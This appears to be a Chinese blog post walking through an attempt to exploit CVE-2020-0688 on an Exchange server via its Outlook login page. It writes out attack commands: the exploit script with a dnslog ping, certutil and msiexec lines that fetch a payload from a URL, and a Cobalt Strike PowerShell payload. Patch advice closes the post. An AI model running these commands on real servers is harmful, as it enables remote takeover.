
Hello,各位小伙伴大家好~


这里是你们的小编Monster~

今天来记录一次Outlook漏洞cve-2020-0688的利用。

虽然最后没拿到shell,但是还是来看看其中用到的一些方法吧~

Part.1
漏洞说明
漏洞效果
CVE-2020-0688是一个Exchange服务上的漏洞,利用这个漏洞,攻击者可通过Exchange服务上的普通用户权限,在服务器中以SYSTEM权限远程执行代码,从而接管整个Exchange服务器。
该漏洞执行的前提,是需要先获取到一个普通用户的用户名、口令。

影响范围
影响所有版本的Exchang Server:
Microsoft Exchange Server 2010 Service Pack 3Microsoft Exchange Server 2013Microsoft Exchange Server 2016Microsoft Exchange Server 2019

Part.2
漏洞利用
漏洞利用
首先目标系统是Outlook登录页:

通过查看网页源代码,可以找到版本号15.0.1497:

通过以下链接可以查询到对应的版本:
https://docs.microsoft.com/zh-cn/Exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019

利用该漏洞需要登陆普通用户,在https://ip/ecp/default.aspx页面下获取generator和viewstateuserkey这两个值。
可以通过POC自动读取并利用,POC地址:
https://github.com/Jumbo-WJB/CVE-2020-0688
//也可以公众号回复CVE-2020-0688下载~
首先尝试执行ping dnslog:
python cve-2020-0688.py -s https://ip/owa/-u user -p pass -c "ping test.ph4nxq.dnslog.cn"

利用ysoserial将上面的结果反序列化处理:

输入ysoserial获取的payload,得到exp并执行:

//执行后服务器会返回500
Dnslog显示命令执行成功:

通过cs生成powershell payload:

并将payload进行base64加密处理:
http://www.jackson-t.ca/runtime-exec-payloads.html

用同样的方法将payload反序列化处理:

输入获取的payload并执行:

//查看cs并未上线,weblog也没有访问记录
尝试certutil访问dnslog:
cmd /c certutil-urlcache -split -f http://url

//也可以用msiexec命令:msiexec /q /i http://url
Dnslog未接受到请求:

//尝试到此,判断为漏洞存在,但可能被杀软拦截或者TCP不出网。

关于dnslog的一些测试
顺带测试了一下ping dnslog,和http访问dnslog有什么区别。
(1)ping
通过ping方式访问,会接收到dns报文:

(2)http://dnslog
通过http://dnslog方式访问,会使用dns和http(tcp)两种协议:

但如果存在dns缓存,则只会发送http报文:

完毕~

修复建议
通过以下补丁进行升级:
Microsoft Exchange Server 2010 Service Pack 3 Update Rollup 30 KB4536989Microsoft Exchange Server 2013 Cumulative Update 23 KB4536988Microsoft Exchange Server 2016 Cumulative Update 14 KB4536987Microsoft Exchange Server 2016 Cumulative Update 15 KB4536987Microsoft Exchange Server 2019 Cumulative Update 3 KB4536987Microsoft Exchange Server 2019 Cumulative Update 4 KB4536987

Part.3
结语
以上就是今天的全部内容了~

欢迎关注我的个人微信公众号。

Peace !
你“在看”我吗?

